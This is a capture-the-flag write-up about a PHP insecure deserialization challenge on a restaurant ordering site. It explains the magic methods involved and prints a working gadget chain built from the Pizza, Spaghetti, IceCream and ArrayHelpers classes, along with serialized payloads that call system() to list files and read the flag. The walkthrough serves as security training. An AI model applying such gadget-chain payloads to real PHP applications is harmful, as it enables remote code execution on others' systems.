- Challenge Overview
- Initial Recon
- Source Code Review
- Verification Function Analysis
- Getting the Flag
Challenge Overview
The challenge is website for a restaurant that serves meals. Can you find the flag?
Initial Recon
First thing I did was check out the website. We got a login and register form:


After registering I see order.php page

so I make an order with pizza and intercept the request to see that use serialization object.

after base64 decode:
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";N;}
Source Code Review
so I try to download the source code and see the functionality.
I see three classes Pizza, Spaghetti,IceCream
Pizza:
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}Spaghetti:
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}IceCream
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}so I have three diffrent classes and each class has a function.
Goal make chain to this diffrent classes to exec system or any function.
let's review each function
The __destruct() function is a special method in object-oriented programming used primarily in PHP. It is a destructor method, automatically invoked when an object is destroyed or goes out of scope.
so after object is not used it will works .
it will kill the object after exec "echo $this->size->what";
a function __get() in Spaghetti class:
The __get() method is a magic method in PHP that is automatically called when an attempt is made to access an inaccessible (private or protected) or non-existing property of an object. It provides a way to dynamically intercept and handle property access, allowing developers to define custom behavior for property retrieval.
so if U attamp to read non-existing property in Spaghetti object it automatically call __get() which contain "($this->sauce)()" and sauce proparty call function.
the __invoke() function in IceCream class
The __invoke() method is a magic method in PHP that allows an object to be invoked as a function. It provides a way to define custom behavior when an object is treated like a function and called as such
so U can call the object as function
Verification Function Analysis
so if we can chain between this three class and functions ,we can achive our goal.
$IceCream = new IceCream();
$IceCream->flavors= function(){
system("ls");
};
$Spaghetti = new Spaghetti();
$Spaghetti->sauce = $IceCream->flavors;
$Pizza = new Pizza();
$Pizza->size = $Spaghetti;
$serialize = serialize($Pizza);
echo $serialize ;let's break down my code.
frist, I create $IceCream object which contian __invoke function so I can treate him and call it as function $IceCream() ; so I define Closure function to exec system('dir').
second, I create $Spaghetti that contain __get() function that call when U attamp to read non-existing property in Spaghetti object. and run sauce as function.
third, I create $Pizza object and set $Pizza->size = $Spaghetti; so the size will be object of Spaghetti class;
How all this work
when the __destruct() called the $Pizza->size->what is run
but "what" not exist in Spaghetti object then __get() will be call to call sauce function with the Closure function.
and the code run system("dir") correctly.
Problem
when I try to serialize Pizza object it give me Serialization of 'Closure' is not allowed.

So I try to search in files about another class to call my function
I found ArrayHelpers class.
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}so ArrayHelpers array of command and callback function to call all commands
$ArrayHelpers = new ArrayHelpers(['dir']);
$ArrayHelpers->callback = 'system';it works but we need ArrayIterator to exec each command in the array.
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}we will use __invoke() in IceCream object.
the Finnal code will be
$ArrayHelpers = new ArrayHelpers(['dir']);
$ArrayHelpers->callback = 'system';
$IceCream = new IceCream();
$IceCream->flavors = $ArrayHelpers;
$Spaghetti = new Spaghetti();
$Spaghetti->sauce = $IceCream;
$Spaghetti->waht;
$Pizza = new Pizza();
$Pizza->size = $Spaghetti;and the serlization
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:3:"dir";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}It will work correctly.
Notice
I use \Helpers\ArrayHelpers because. he use namespace Helpers in ArrayHelpers.php
Getting the Flag
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:26:"cat /pBhfMBQlu9uT_flag.txt";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
refrence
PHP magic methods: